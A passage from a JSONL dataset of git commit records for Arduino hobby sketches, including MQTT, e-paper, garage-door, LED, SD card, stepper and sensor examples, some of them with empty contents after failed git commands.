\/\/ but actually the LED is on; this is because\n \/\/ it is acive low on the ESP-01)\n } else {\n digitalWrite(BUILTIN_LED, HIGH); \/\/ Turn the LED off by making the voltage HIGH\n }\n\n}\n\nvoid reconnect() {\n \/\/ Loop until we're reconnected\n while (!client.connected()) {\n Serial.print(\"Attempting MQTT connection...\");\n \/\/ Attempt to connect\n if (client.connect(\"ESP8266Client\")) {\n Serial.println(\"connected\");\n \/\/ Once connected, publish an announcement...\n client.publish(\"outTopic\", \"hello world\");\n \/\/ ... and resubscribe\n client.subscribe(\"inTopic\");\n } else {\n Serial.print(\"failed, rc=\");\n Serial.print(client.state());\n Serial.println(\" try again in 5 seconds\");\n \/\/ Wait 5 seconds before retrying\n delay(5000);\n }\n }\n\n void loop() {\n\n if (!client.connected()) {\n reconnect();\n }\n client.loop();\n\n long now = millis();\n if (now - lastMsg > 2000) {\n lastMsg = now;\n ++value;\n snprintf (msg, 75, \"hello world #%ld\", value);\n Serial.print(\"Publish message: \");\n Serial.println(msg);\n client.publish(\"outTopic\", msg);\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/esp8266\/mqtt_esp8266.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"24da723536e8d6766be0d581ab5921d912b34465","subject":"[Arduino] First draft of Arduino position detector.","message":"[Arduino] First draft of Arduino position detector.\n\nSigned-off-by: Juri Berlanda <5bfdca9e82c53adb0603ce7083f4ba4f2da5cacf@hotmail.com>\n","repos":"j-be\/vj-servo-controller,j-be\/vj-servo-controller,j-be\/vj-servo-controller,j-be\/vj-servo-controller,j-be\/vj-servo-controller","old_file":"Arduino\/servo-position-detector\/servo-position-detector.ino","new_file":"Arduino\/servo-position-detector\/servo-position-detector.ino","new_contents":"#define SERIAL_BAUDRATE 115200\n#define POSITION_POTI_PIN 7\n#define MAX_BUTTON_PIN 2\n#define MIN_BUTTON_PIN 3\n\nint positionPotiValue = -1;\nint minButtonState = -1;\nint maxButtonState = -1;\n\nvoid setupButtonPin(int pinNumber) {\n pinMode(pinNumber,INPUT_PULLUP); \n}\n\nint getButtonState(int pinNumber) {\n return !digitalRead(pinNumber);\n}\n\nvoid sendState(int potiPosition, int isMin, int isMax) {\n Serial.print(\"#\");\n Serial.print(potiPosition);\n Serial.print(\" \");\n Serial.print(isMin);\n Serial.print(\" \");\n Serial.println(isMax);\n}\n\nvoid setup() {\n Serial.begin(SERIAL_BAUDRATE);\n \n setupButtonPin(MIN_BUTTON_PIN);\n setupButtonPin(MAX_BUTTON_PIN);\n\n \/\/ No setup needed for analog read\n}\n\nvoid loop() {\n positionPotiValue = analogRead(POSITION_POTI_PIN);\n minButtonState = getButtonState(MIN_BUTTON_PIN);\n maxButtonState = getButtonState(MAX_BUTTON_PIN);\n\n sendState(positionPotiValue, minButtonState, maxButtonState);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/servo-position-detector\/servo-position-detector.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"84a3ece491203a86e1d9abbbdd26be93fe85e780","subject":"add example code","message":"add example code\n","repos":"pdp7\/kicad-teensy-epaper,pdp7\/kicad-teensy-epaper","old_file":"code\/EpaperQuoteDisplay.ino","new_file":"code\/EpaperQuoteDisplay.ino","new_contents":"\/\/ From EPD215 by Jarek Lupinski:\n\/\/ Arduino Library for the E-paper Teensy Shield\n\/\/ https:\/\/github.com\/jarek319\/EPD215\/ \n\/\/\n\/\/ Source for this file:\n\/\/ https:\/\/github.com\/jarek319\/EPD215\/blob\/master\/examples\/EpaperQuoteDisplay\/EpaperQuoteDisplay.ino\n\/\/ \n\/\/ Modified by Drew Fustini for kicad-teensy-epaper projectA\n\/\/ https:\/\/github.com\/pdp7\/kicad-teensy-epaper\/\n\n#include <Adafruit_GFX.h> \/\/ include the base Adafruit Graphics library\n#include <EPD215.h> \/\/ include the epaper display driver library\n#include \"quotes.h\" \/\/ include a list of the quotes to be displayed\n\n#define ROTATE_DELAY 1 \/\/ display a quote for this many minutes before rotating\n\n\/\/ initialize epaper with pin numbers for cs, dc, rs, bs, d0, d1 for software SPI\n\/\/EPD215 epaper( 17, 16, 15, 14, 13, 11 );\n\/\/ DREW FUSTINI NOTE: MODIFIED FOR KICAD BREAKOUT BOARD PINOUT\nEPD215 epaper( 17, 16, 14, 15, 13, 11 );\n\/\/ initialize epaper with pin numbers for cs, dc, rs, bs for hardware SPI\n\/\/EPD215 epaper( 17, 16, 15, 14 );\n\nvoid setup() { \/\/ setup function runs once on startup\n Serial.begin( 115200 ); \/\/ begin a Serial link in case we need troubleshooting\n delay( 2000 ); \/\/ wait two seconds\n epaper.initScreen(); \/\/ initialize the epaper hardware\n epaper.updateScreen(); \/\/ update the screen with whatever is in the buffer\n}\n\nvoid loop() { \/\/ loop function runs forever until power is removed\n int quoteIndex = random( sizeof( quoteArray ) \/ 4 ); \/\/ get a random quote number\n epaper.clearScreen(); \/\/ clear the screen\n epaper.setCursor( 0, 0 ); \/\/ reset the cursor position\n String quoteString = String( quoteArray[ quoteIndex ] ); \/\/ get the quote from the array and save it as a String\n Serial.println( quoteString ); \/\/ print the String out over Serial for troubleshooting\n int delimiterIndex = quoteString.lastIndexOf( ';' ); \/\/ find where the quote test ends and the quote author begins\n String textString = quoteString.substring( 0, delimiterIndex ); \/\/ store the text of the quote in textString\n String authorString = quoteString.substring( delimiterIndex + 1 ); \/\/ store the attributed source of the quote in quoteString\n placeString( textString ); \/\/ write the text of the string to the e-paper screen buffer\n epaper.println(); \/\/ skip two\n epaper.println(); \/\/ lines\n placeString( authorString ); \/\/ write the attributed source of the string to the e-paper screen buffer\n epaper.updateScreen(); \/\/ update the epaper screen with what is in the buffer\n delay( ROTATE_DELAY * 60000 ); \/\/ wait ROTATE_DELAY minutes before continuing\n}\n\nvoid placeString( String s ) { \/\/ helper function to implement word-wrapping\n int8_t cursorX = 0;\n for ( uint32_t i = 0; i < s.length(); i ) {\n uint8_t wordEndIndex = s.indexOf( ' ', i );\n int8_t maxLength = 18 - cursorX;\n String wordString = s.substring( i, wordEndIndex );\n int8_t wordStringLength = wordString.length();\n if ( wordStringLength >= maxLength ) { \n epaper.println();\n cursorX = 0;\n }\n epaper.print( wordString + \" \" );\n cursorX += wordString.length() + 1;\n i += wordString.length() + 1;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/EpaperQuoteDisplay.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"a9fc0f6caab7d58c3e07a118fdacf5bbd4b690ba","subject":"add in arduino sketch","message":"add in arduino sketch\n","repos":"jasonbronson\/garage-door-opener","old_file":"arduino\/garagedoor_arduino\/garagedoor_arduino.ino","new_file":"arduino\/garagedoor_arduino\/garagedoor_arduino.ino","new_contents":"\n\/*\n* Compatible with 1.6.1 Arduino software\n* Author Jbronson 2015\n*\/\n\n#include <SPI.h>\n#include <Dhcp.h>\n#include <Dns.h>\n#include <Ethernet.h>\n#include <EthernetClient.h>\n#include <EthernetServer.h>\n#include <EthernetUdp.h>\n#include <SD.h>\n\nboolean reading = false;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/CONFIGURE\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n byte ip[] = { 192, 168, 1, 50 }; \/\/ip address to assign the arduino\n byte gateway[] = { 192, 168, 1, 1 }; \/\/ip address of the gateway or router\n\n \/\/Rarly need to change this\n byte subnet[] = { 255, 255, 255, 0 };\n\n \/\/ if need to change the MAC address (Very Rare)\n byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xBE }; \/\/Mac\n\n EthernetServer server = EthernetServer(80); \/\/port 80\n const int switchPin = 10; \n int door;\n \n \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid setup(){\n \/\/Pins 10,11,12 & 13 are used by the ethernet shield\n\n pinMode(2, OUTPUT);\n pinMode(3, OUTPUT);\n pinMode(4, OUTPUT);\n pinMode(5, OUTPUT);\n pinMode(6, OUTPUT);\n pinMode(7, OUTPUT);\n pinMode(8, OUTPUT);\n pinMode(9, OUTPUT);\n\n Serial.begin(9600);\n pinMode(switchPin, INPUT); \/\/ switchPin is an input\n digitalWrite(switchPin, HIGH); \/\/ Activate internal pullup resistor\n \n Serial.println(F(\"Starting ethernet...\"));\n Ethernet.begin(mac, ip, gateway, subnet);\n server.begin();\n Serial.println(F(\"Network Ready\"));\n \n}\n\nvoid loop(){\n \n \/\/ listen for incoming clients, and process qequest.\n checkForClient();\n \n}\n\nvoid checkForClient(){\n\n EthernetClient client = server.available();\n\n if (client) {\n\n \/\/ an http request ends with a blank line\n boolean currentLineIsBlank = true;\n boolean sentHeader = false;\n int count = 1;\n boolean reading = false;\n \n while (client.connected()) {\n if (client.available()) { \/\/ client data available to read\n \n char c = client.read();\n \n if(!sentHeader){\n \n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: text\/html\");\n client.println(\"Connection: close\");\n client.println(); \n sentHeader = true;\n Serial.println(\"Header Sent \");\n }\n \n if (c == '\\n' && currentLineIsBlank) {\n break;\n }\n \n Serial.println(c);\n \n if(c == '?'){ \n reading = true; \/\/found the ?, begin reading the info\n Serial.println(\"Found ? \");\n }\n \n if(reading){\n \n switch (c) {\n case '6':\n Serial.println(\"Trigging pin 6 \");\n triggerPin(6, client);\n break;\n case '9':\n door = digitalRead(switchPin);\n if(door == 1){\n Serial.println(\"door open\");\n client.print(\"Garage door open\");\n }else{\n Serial.println(\"door closed\");\n client.print(\"Garage door closed\");\n }\n delay(1);\n \n break;\n }\n Serial.println(\"Reading...\"); \n }\n \n \n \n \n } \/\/client available\n \n } \/\/ while loop\n\n delay(1); \/\/ give the web browser time to receive the data\n client.stop(); \/\/ close the connection:\n\n } \n\n}\n\nvoid triggerPin(int pin, EthernetClient client){\n\n client.print(\"Garage Door triggered <br>\");\n \n digitalWrite(pin, HIGH);\n delay(1000);\n digitalWrite(pin, LOW);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/garagedoor_arduino\/garagedoor_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"595b2a56457b094291915afc9686a82b93ca2e1f","subject":"Arduino sketch for USB-connected, LED illuminated push button","message":"Arduino sketch for USB-connected, LED illuminated push button\n","repos":"jamesbulpin\/meshblu-connector-ledbutton","old_file":"arduino\/ledbutton\/ledbutton.ino","new_file":"arduino\/ledbutton\/ledbutton.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n\n#define WS2811_PIN 6\n#define WS2811_LED_COUNT 8\n\nconst long DEBOUNCE_DELAY = 50;\nconst long TRIGGER_PULSE = 50;\n\n#define BUTTON_STATE_COUNT 1\nlong buttonDebounceTime[BUTTON_STATE_COUNT]; \nboolean buttonState[BUTTON_STATE_COUNT];\n\nlong triggerReset = 0;\n\nboolean ledState = 0;\nboolean ledOverride = 0;\n\nint target_r[WS2811_LED_COUNT];\nint target_g[WS2811_LED_COUNT];\nint target_b[WS2811_LED_COUNT];\n\nint current_r[WS2811_LED_COUNT];\nint current_g[WS2811_LED_COUNT];\nint current_b[WS2811_LED_COUNT];\nlong defer = 0;\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(WS2811_LED_COUNT, WS2811_PIN, NEO_GRB + NEO_KHZ400);\n\nvoid setup() {\n int i;\n\n for (i = 0; i < BUTTON_STATE_COUNT; i++) {\n buttonDebounceTime[i] = -50;\n buttonState[i] = 255;\n }\n\n for (i = 0; i < WS2811_LED_COUNT; i++) {\n current_r[i] = 0;\n current_g[i] = 0;\n current_b[i] = 0;\n target_r[i] = 0;\n target_g[i] = 0;\n target_b[i] = 0;\n }\n \n pinMode(10, INPUT_PULLUP); \/\/ Main push button - green\n pinMode(9, OUTPUT); \/\/ Trigger the button's behaviour\n pinMode(8, OUTPUT); \/\/ LED - blue\n pinMode(7, INPUT_PULLUP); \/\/ LED sense (i.e. what the device wants to do) - grey\n digitalWrite(9, HIGH);\n\n strip.begin();\n\n for (i = 0; i < WS2811_LED_COUNT; i++) {\n strip.setPixelColor(i, strip.Color(0, 0, 0));\n }\n strip.show();\n \n Serial.begin(9600);\n}\n\nvoid handle_message(char *ptr)\n{\n char *p, *i;\n \n p = strtok_r(ptr, \" \", &i);\n if (strcmp(p, \"TRIGGER\") == 0) {\n digitalWrite(9, LOW);\n triggerReset = millis() + TRIGGER_PULSE;\n }\n else if (strcmp(p, \"COLOR\") == 0) {\n p = strtok_r(NULL, \" \", &i);\n if (p && (strlen(p) == 7) && (p[0] == '#')) {\n long colval = (long)strtol(&p[1], NULL, 16);\n for (int j = 0; j < WS2811_LED_COUNT; j++) {\n target_r[j] = colval >> 16;\n target_g[j] = colval >> 8 & 0xFF;\n target_b[j] = colval & 0xFF;\n }\n defer = millis()\/5;\n }\n else if (p && (strcmp(p, \"OCTOBLU\") ==0)) {\n target_r[0] = 0x00;\n target_g[0] = 0x7F;\n target_b[0] = 0x00;\n for (int j = 1; j < WS2811_LED_COUNT; j++) {\n target_r[j] = 0x00;\n target_g[j] = 0x00;\n target_b[j] = 0x7F;\n }\n defer = millis()\/5;\n }\n }\n else if (strcmp(p, \"LED\") == 0) {\n p = strtok_r(NULL, \" \", &i);\n if (strcmp(p, \"ON\") == 0) {\n ledState = 1;\n ledOverride = 1;\n }\n else if (strcmp(p, \"OFF\") == 0) {\n ledState = 0;\n ledOverride = 1;\n }\n else if (strcmp(p, \"PASSTHRU\") == 0) {\n ledOverride = 0;\n }\n }\n}\n\nconst int RX_BUFFER_SIZE = 64;\nchar rxBuffer[RX_BUFFER_SIZE];\nint rxBufferPtr = 0;\nvoid handle_char(int data)\n{\n if ((data == '\\n') || (data == '\\0') || (data == '!')) {\n if (rxBufferPtr < RX_BUFFER_SIZE) {\n rxBuffer[rxBufferPtr] = '\\0';\n handle_message(rxBuffer);\n }\n rxBufferPtr = 0;\n }\n else {\n if (rxBufferPtr < RX_BUFFER_SIZE) {\n rxBuffer[rxBufferPtr] = (char)data;\n rxBufferPtr++;\n }\n }\n}\n\nvoid do_button(int pin, int idx, char *fn)\n{\n byte v;\n long now;\n \n v = digitalRead(pin);\n if (v != buttonState[idx]) {\n now = millis();\n if ((now - buttonDebounceTime[idx]) < DEBOUNCE_DELAY) {\n \/\/ In the debounce window, ignore\n }\n else {\n buttonState[idx] = v;\n buttonDebounceTime[idx] = now;\n if (buttonState[idx] == LOW) {\n Serial.println(fn);\n }\n }\n }\n}\n\nlong last_millis = 0;\nvoid loop() { \n if (Serial.available()) {\n handle_char(Serial.read());\n } \n\n if (triggerReset) {\n if (millis() > triggerReset) {\n digitalWrite(9, HIGH);\n triggerReset = 0;\n }\n }\n \n do_button(10, 0, \"BUTTON\");\n\n if (ledOverride) {\n digitalWrite(8, !ledState);\n }\n else {\n digitalWrite(8, digitalRead(7));\n }\n\n long m = millis()\/5;\n if (m > last_millis) {\n last_millis = m;\n boolean changed = false;\n for (int i = 0; i < WS2811_LED_COUNT; i++) {\n if (m < (defer + 20 * i)) {\n continue;\n }\n if (target_r[i] != current_r[i]) {\n current_r[i] += (target_r[i]>current_r[i])?1:-1;\n changed = true;\n }\n if (target_g[i] != current_g[i]) {\n current_g[i] += (target_g[i]>current_g[i])?1:-1;\n changed = true;\n }\n if (target_b[i] != current_b[i]) {\n current_b[i] += (target_b[i]>current_b[i])?1:-1;\n changed = true;\n }\n }\n if (changed) {\n for (int i = 0; i < WS2811_LED_COUNT; i++) {\n strip.setPixelColor(i, strip.Color(current_r[i], current_g[i], current_b[i]));\n }\n strip.show();\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/ledbutton\/ledbutton.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9e0c3c4db892a684189830360a5428ccb128de58","subject":"-Merge in SD card code Merge branch 'master' of https:\/\/github.com\/ScienceWorldCA\/UBC-Capstones-2016-Waterfall","message":"-Merge in SD card code\nMerge branch 'master' of https:\/\/github.com\/ScienceWorldCA\/UBC-Capstones-2016-Waterfall\n","repos":"ScienceWorldCA\/UBC-Capstones-2016-Waterfall,ScienceWorldCA\/UBC-Capstones-2016-Waterfall","old_file":"controller\/src\/sd_card\/sd_card.ino","new_file":"controller\/src\/sd_card\/sd_card.ino","new_contents":"#include <SPI.h>\n#include <SD.h>\n\n\/\/CS pin for Arduino Uno\nconst int chipSelect = 8;\n\/\/const int chipSelect = 4; \/\/for Ethernet shield\nconst int imageWidthBytes = 8;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n \/\/opens serial port, sets data rate to 9600bps\n Serial.begin(9600);\n Serial.println(\"Initializing SD card...\");\n \n \/\/set pin 10 on Arduino Uno to OUTPUT otherwise SD libary functions won't work\n pinMode(10, OUTPUT);\n\n if(!SD.begin(chipSelect)){\n Serial.println(\"Card failed, or not present\");\n return;\n }\n Serial.println(\"Card initialized\");\n\n convertToByte();\n \/\/write();\n}\n\nvoid write(){\n File testFile = SD.open(\"testfile.txt\", FILE_WRITE);\n if(testFile){\n testFile.write(\"File created\");\n testFile.close();\n Serial.println(\"File created\");\n }\n else{\n Serial.println(\"Error on opening the file\");\n }\n}\n\nvoid read(){\n File dataFile = SD.open(\"b_binary.txt\");\n if(!dataFile){\n Serial.println(\"Error on opening the file\");\n return;\n }\n while(dataFile.available()){\n Serial.write(dataFile.read());\n }\n dataFile.close();\n}\n\nvoid convertToByte(){\n File dataFile = SD.open(\"b_binary.txt\");\n if(!dataFile){\n Serial.println(\"Error on opening the file\");\n return;\n }\n int bitCounter = 8;\n int regCounter = 0;\n byte shiftReg[imageWidthBytes] = {0};\n byte temp;\n while(dataFile.available()){\n temp = dataFile.read();\n if(temp == '0'){\n bitCounter--;\n shiftReg[regCounter] = shiftReg[regCounter] << 1;\n }\n else if(temp == '1'){\n bitCounter--;\n shiftReg[regCounter] = (shiftReg[regCounter] << 1) + 1;\n }\n if(bitCounter == 0){\n Serial.print(regCounter);\n Serial.print(':');\n Serial.print(shiftReg[regCounter], BIN);\n Serial.print('\\t');\n bitCounter = 8;\n regCounter++;\n }\n if(regCounter == 8){\n Serial.print('\\n');\n regCounter = 0;\n }\n }\n dataFile.close();\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'controller\/src\/sd_card\/sd_card.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8419385ace267b5b5cf2a320cc4a0f26a7658bfb","subject":"Added blink_tiny example with TinyMachine","message":"Added blink_tiny example with TinyMachine\n","repos":"tinkerspy\/Automaton,tinkerspy\/Automaton","old_file":"examples\/blink_tiny\/blink_tiny.ino","new_file":"examples\/blink_tiny\/blink_tiny.ino","new_contents":"#include <Automaton.h>\n\nclass Blink : public TinyMachine {\n\n public:\n Blink( void ) : TinyMachine() { };\n\n short pin; \n atm_timer_millis timer;\n\n\tenum { LED_ON, LED_OFF } STATES;\n\tenum { EVT_TIMER, ELSE } EVENTS;\n\tenum { ACT_ON, ACT_OFF } ACTIONS;\n\t\t\n Blink & begin( int attached_pin, int blinkrate )\n {\n const static tiny_state_t state_table[] PROGMEM = {\n \/* ON_ENTER ON_LOOP ON_EXIT EVT_TIMER ELSE *\/\n \/* LED_ON *\/ ACT_ON, -1, -1, LED_OFF, -1,\n \/* LED_OFF *\/ ACT_OFF, -1, -1, LED_ON, -1 };\n TinyMachine::begin( state_table, ELSE );\n pin = attached_pin; \n timer.begin( this, blinkrate ); \n pinMode( pin, OUTPUT ); \n return *this; \n }\n\n int event( int id ) \n {\n switch ( id ) {\n case EVT_TIMER :\n return timer.expired(); \n }\n return 0;\n }\n\t\n void action( int id ) \n {\n switch ( id ) {\n case ACT_ON :\n digitalWrite( pin, HIGH );\n return;\n case ACT_OFF :\n digitalWrite( pin, LOW );\n return;\n }\n }\n};\n\nBlink led;\n\nvoid setup()\n{\n led.begin( 3, 200 );\n}\n\nvoid loop()\n{\n led.cycle();\n}\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/blink_tiny\/blink_tiny.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1ce10899343e0aa7aaec7bd86de5d8f2f4585412","subject":"Cleanup, comment Serial prints","message":"Cleanup, comment Serial prints","repos":"lgramatikov\/celeste","old_file":"WarningBulb.ino","new_file":"WarningBulb.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"bf2d8dfd2e398d1271dd6555eef897806ca7bbcb","subject":"Adds Loop example","message":"Adds Loop example\n","repos":"DivineChili\/Arduino-For-Noobs","old_file":"examples\/6. Loops\/Loops.ino","new_file":"examples\/6. Loops\/Loops.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DivineChili\/Arduino-For-Noobs.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8262f2c1bc6a5c8ffb0a21f5e070ba2cefb6fee0","subject":"Commit","message":"Commit\n","repos":"OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015","old_file":"software\/embedded\/Arduino Code\/basicDriveCode\/basicDriveCode.ino","new_file":"software\/embedded\/Arduino Code\/basicDriveCode\/basicDriveCode.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/embedded\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/basicDriveCode\/basicDriveCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3c166bf93a22403b99344941edcd75f9bd2d23d0","subject":"Fixed type cast bug.","message":"Fixed type cast bug.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4e9f49950968e058a3dff6f5750620ca1b0eb464","subject":"ZipliteStepperControlBoth","message":"ZipliteStepperControlBoth\n","repos":"ejyue\/2.009PinkSpot","old_file":"ZipliteStepperControlBoth\/ZipliteStepperControlBoth.ino","new_file":"ZipliteStepperControlBoth\/ZipliteStepperControlBoth.ino","new_contents":"\/* \n\n*\/\n\n#include <AccelStepper.h>\n#include <Wire.h>\n#include <Adafruit_MotorShield.h>\n\nint Pan = 0;\nint Tilt = 1;\n\nint PanGearRatio = 5.5;\nint TiltGearRatio = 3.8;\n\nlong int InputData = 0;\nString PositionData = \"\";\n\nint PositionTilt = 0;\nint PositionPan = 0;\n\nint TiltStepAmt = 0;\nint PanStepAmt = 0;\n\nint CurrentTilt = 0;\nint CurrentPan = 0;\n\nfloat speed = 400.0;\nfloat acceleration = 200.0;\n\nAdafruit_MotorShield AFMS0 = Adafruit_MotorShield();\n\nAdafruit_StepperMotor *PanMotor = AFMS0.getStepper(200, 1);\nAdafruit_StepperMotor *TiltMotor = AFMS0.getStepper(200, 2);\n\nvoid ForwardStepPan() { PanMotor->onestep(BACKWARD, DOUBLE); }\nvoid BackwardStepPan() { PanMotor->onestep(FORWARD, DOUBLE); }\nvoid ForwardStepTilt() { TiltMotor->onestep(BACKWARD, DOUBLE); }\nvoid BackwardStepTilt() { TiltMotor->onestep(FORWARD, DOUBLE); }\n\nAccelStepper steppers[2] = {AccelStepper(ForwardStepPan, BackwardStepPan), AccelStepper(ForwardStepTilt, BackwardStepTilt)};\n\nvoid setup()\n{\n Serial.begin(9600);\n\n AFMS0.begin();\n\n steppers[Pan].setMaxSpeed(speed);\n steppers[Pan].setAcceleration(acceleration);\n \n steppers[Tilt].setMaxSpeed(speed);\n steppers[Tilt].setAcceleration(acceleration);\n}\n\nvoid loop()\n{\n steppers[Pan].run(); \n steppers[Tilt].run();\n \n if (Serial.available() > 0)\n {\n InputData = Serial.parseInt();\n PositionData = String(InputData);\n if ((PositionData.substring(0,3).toInt()) == 255)\n {\n PositionTilt = PositionData.substring(3,6).toInt();\n PositionPan = PositionData.substring(6).toInt();\n \n TiltStepAmt = abs(round((PositionTilt\/1.8)*TiltGearRatio));\n PanStepAmt = abs(round((PositionPan\/1.8)*PanGearRatio));\n\n if (abs((PositionPan - CurrentPan)) > 2.5)\n {\n steppers[Pan].moveTo(PanStepAmt);\n steppers[Pan].run();\n }\n\n if (abs((PositionTilt - CurrentTilt)) > 2.5)\n {\n steppers[Tilt].moveTo(TiltStepAmt);\n steppers[Tilt].run();\n }\n }\n\n CurrentPan = PositionPan;\n CurrentTilt = PositionTilt;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ZipliteStepperControlBoth\/ZipliteStepperControlBoth.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c198594c20a0f513e43f9533a61bded107746ad5","subject":"Example for counting lines","message":"Example for counting lines\n","repos":"Galeje\/Cing","old_file":"Software\/Examples\/Cing Examples\/Counting_lines\/Counting_lines.ino","new_file":"Software\/Examples\/Cing Examples\/Counting_lines\/Counting_lines.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Software\/Examples\/Cing' did not match any file(s) known to git\nerror: pathspec 'Examples\/Counting_lines\/Counting_lines.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"10b4653bff71d20096553f99344e1ed7dee813ed","subject":"New File to aid users to collect raw data and voltage so they can calculate intercept and slope of linear sensors","message":"New File to aid users to collect raw data and voltage so they can calculate intercept and slope of linear sensors\n","repos":"jeremykenedy\/arduino","old_file":"VernierDetermineSlopeIntercept\/VernierDetermineSlopeIntercept.ino","new_file":"VernierDetermineSlopeIntercept\/VernierDetermineSlopeIntercept.ino","new_contents":"\/*\nVernierDetermineSlopeIntercept (v 2015.02)\nReads a Vernier analog (BTA) Sensor connected to pin A0 of the Arduino. \nThis sketch displays the time and digital readout from the sensor \nreadings on the Serial Monitor. \nAs written, the readings will be displayed every half second. \nChange the variable TimeBetweenReadings to change the rate.\n\n See www.vernier.com\/arduino for more information.\n*\/\n\/*\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nThe data from this sketch will allow you to determine the slope and\nintercept of the sensor - assuming a linear relationship. Once this \nis determined another sketch called \"VernierAnalog Sensor\" can be used\nto read values of the sensor.\n\/\/See www.vernier.com\/products\/sensors.\n*\/\nint TimeBetweenReadings = 500; \/\/ in ms\nfloat Count;\nfloat Voltage;\nfloat SensorReading;\nint ReadingNumber=0;\nfloat Time;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid setup() \n{\n Serial.begin(9600); \/\/initialize serial communication at 9600 baud\n Serial.println(\"Vernier Format Special\");\n Serial.println(\"Readings taken using Ardunio to determine slope and intercept\");\n Serial.println(\"Data Set\");\n Serial.print(\"Time\");\/\/long name\n Serial.print(\"\\t\"); \/\/tab character\n Serial.print(\"(s)\");\/\/units\n Serial.print(\"\\t\");\n Serial.print(\"Count\");\n Serial.print(\"\\t\");\n Serial.print(\"Voltage\");\n Serial.print(\"\\t\");\n Serial.println(\"(V)\"); \n}\nvoid loop() \n{\n\n\/\/the print below does the division first to avoid overflows\n Serial.print(\"\\t\");\n Serial.print(ReadingNumber\/1000.0*TimeBetweenReadings); \n Serial.print(\"\\t\");\n Count = analogRead(A0);\n Voltage = Count \/ 1023 * 5.0;\/\/ convert from count to raw voltage\n Serial.print (Count);\n Serial.print (\"\\t\");\n Serial.println (Voltage);\n delay(TimeBetweenReadings);\/\/ delay in between reads for stability\n ReadingNumber++;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'VernierDetermineSlopeIntercept\/VernierDetermineSlopeIntercept.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c89dee816348fe972c9c3f866d63570b464c1b5d","subject":"add ppg\/ecg\/temperature 